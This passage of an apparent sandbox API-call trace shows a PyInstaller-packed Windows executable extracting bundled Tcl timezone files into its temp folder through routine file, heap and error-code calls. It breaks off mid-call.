GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.973] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.973] CloseHandle (hObject=0x10c) returned 1 [0040.973] GetLastError () returned 0x0 [0040.973] SetLastError (dwErrCode=0x0) [0040.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.973] GetFileType (hFile=0x10c) returned 0x1 [0040.973] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.973] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.974] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.974] CloseHandle (hObject=0x10c) returned 1 [0040.974] GetLastError () returned 0x0 [0040.974] SetLastError (dwErrCode=0x0) [0040.974] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0040.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.974] GetFileType (hFile=0x10c) returned 0x1 [0040.974] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.974] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.974] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.974] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.974] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.974] CloseHandle (hObject=0x10c) returned 1 [0040.974] GetLastError () returned 0x0 [0040.974] SetLastError (dwErrCode=0x0) [0040.974] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Hobart") returned 73 [0040.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Hobart" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\hobart"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.974] GetLastError () returned 0x2 [0040.974] SetLastError (dwErrCode=0x2) [0040.974] GetLastError () returned 0x2 [0040.974] SetLastError (dwErrCode=0x2) [0040.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Hobart", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Hobart", lpFilePart=0x0) returned 0x48 [0040.975] GetLastError () returned 0x2 [0040.975] SetLastError (dwErrCode=0x2) [0040.975] GetLastError () returned 0x2 [0040.975] SetLastError (dwErrCode=0x2) [0040.975] GetLastError () returned 0x2 [0040.975] SetLastError (dwErrCode=0x2) [0040.975] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Hobart") returned 73 [0040.975] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.975] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Hobart" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\hobart"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.006] GetFileType (hFile=0x10c) returned 0x1 [0041.007] htonl (hostlong=0x711f0000) returned 0x1f71 [0041.011] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0041.043] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.043] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xf71, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xf71, lpOverlapped=0x0) returned 1 [0041.043] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.043] CloseHandle (hObject=0x10c) returned 1 [0041.043] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.043] htonl (hostlong=0x30000000) returned 0x30 [0041.043] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.043] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.043] GetFileType (hFile=0x10c) returned 0x1 [0041.043] htonl (hostlong=0x26795b00) returned 0x5b7926 [0041.043] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x602926, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.043] htonl (hostlong=0x8b000000) returned 0x8b [0041.043] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0041.043] htonl (hostlong=0x8b000000) returned 0x8b [0041.043] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.043] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.044] htonl (hostlong=0xc2000000) returned 0xc2 [0041.044] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc2) returned 0x550600 [0041.044] htonl (hostlong=0x8b000000) returned 0x8b [0041.044] htonl (hostlong=0xc2000000) returned 0xc2 [0041.044] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.044] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.044] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.044] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.044] CloseHandle (hObject=0x10c) returned 1 [0041.044] GetLastError () returned 0x0 [0041.044] SetLastError (dwErrCode=0x0) [0041.044] GetLastError () returned 0x0 [0041.044] SetLastError (dwErrCode=0x0) [0041.044] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.044] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.044] GetFileType (hFile=0x10c) returned 0x1 [0041.044] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.044] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.044] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.044] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.045] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.045] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.045] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.045] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.045] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.045] CloseHandle (hObject=0x10c) returned 1 [0041.045] GetLastError () returned 0x0 [0041.045] SetLastError (dwErrCode=0x0) [0041.045] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.045] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.045] GetFileType (hFile=0x10c) returned 0x1 [0041.045] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.045] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.045] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.045] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.045] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.045] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.045] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.045] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.045] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.045] CloseHandle (hObject=0x10c) returned 1 [0041.045] GetLastError () returned 0x0 [0041.045] SetLastError (dwErrCode=0x0) [0041.045] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.046] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.046] GetFileType (hFile=0x10c) returned 0x1 [0041.046] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.046] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.046] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.046] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.046] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.046] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.046] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.046] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.046] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.046] CloseHandle (hObject=0x10c) returned 1 [0041.046] GetLastError () returned 0x0 [0041.046] SetLastError (dwErrCode=0x0) [0041.046] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\LHI") returned 70 [0041.046] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\LHI" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\lhi"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.046] GetLastError () returned 0x2 [0041.046] SetLastError (dwErrCode=0x2) [0041.046] GetLastError () returned 0x2 [0041.046] SetLastError (dwErrCode=0x2) [0041.046] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\LHI", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\LHI", lpFilePart=0x0) returned 0x45 [0041.046] GetLastError () returned 0x2 [0041.046] SetLastError (dwErrCode=0x2) [0041.046] GetLastError () returned 0x2 [0041.046] SetLastError (dwErrCode=0x2) [0041.046] GetLastError () returned 0x2 [0041.046] SetLastError (dwErrCode=0x2) [0041.047] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\LHI") returned 70 [0041.047] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.047] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\LHI" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\lhi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.047] GetFileType (hFile=0x10c) returned 0x1 [0041.047] htonl (hostlong=0xc2000000) returned 0xc2 [0041.047] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.047] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc2, lpOverlapped=0x0) returned 1 [0041.048] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.048] CloseHandle (hObject=0x10c) returned 1 [0041.048] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.048] htonl (hostlong=0x30000000) returned 0x30 [0041.048] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.048] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.048] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.048] GetFileType (hFile=0x10c) returned 0x1 [0041.048] htonl (hostlong=0xb1795b00) returned 0x5b79b1 [0041.049] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6029b1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.049] htonl (hostlong=0x17010000) returned 0x117 [0041.049] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x117) returned 0x550600 [0041.049] htonl (hostlong=0x17010000) returned 0x117 [0041.049] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.049] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.049] htonl (hostlong=0x5030000) returned 0x305 [0041.049] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x305) returned 0x550720 [0041.049] htonl (hostlong=0x17010000) returned 0x117 [0041.049] htonl (hostlong=0x5030000) returned 0x305 [0041.049] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.049] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.049] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.049] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.049] CloseHandle (hObject=0x10c) returned 1 [0041.049] GetLastError () returned 0x0 [0041.049] SetLastError (dwErrCode=0x0) [0041.049] GetLastError () returned 0x0 [0041.049] SetLastError (dwErrCode=0x0) [0041.049] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.049] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.049] GetFileType (hFile=0x10c) returned 0x1 [0041.049] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.049] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.049] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.049] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.049] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.050] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.050] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.050] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.050] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, 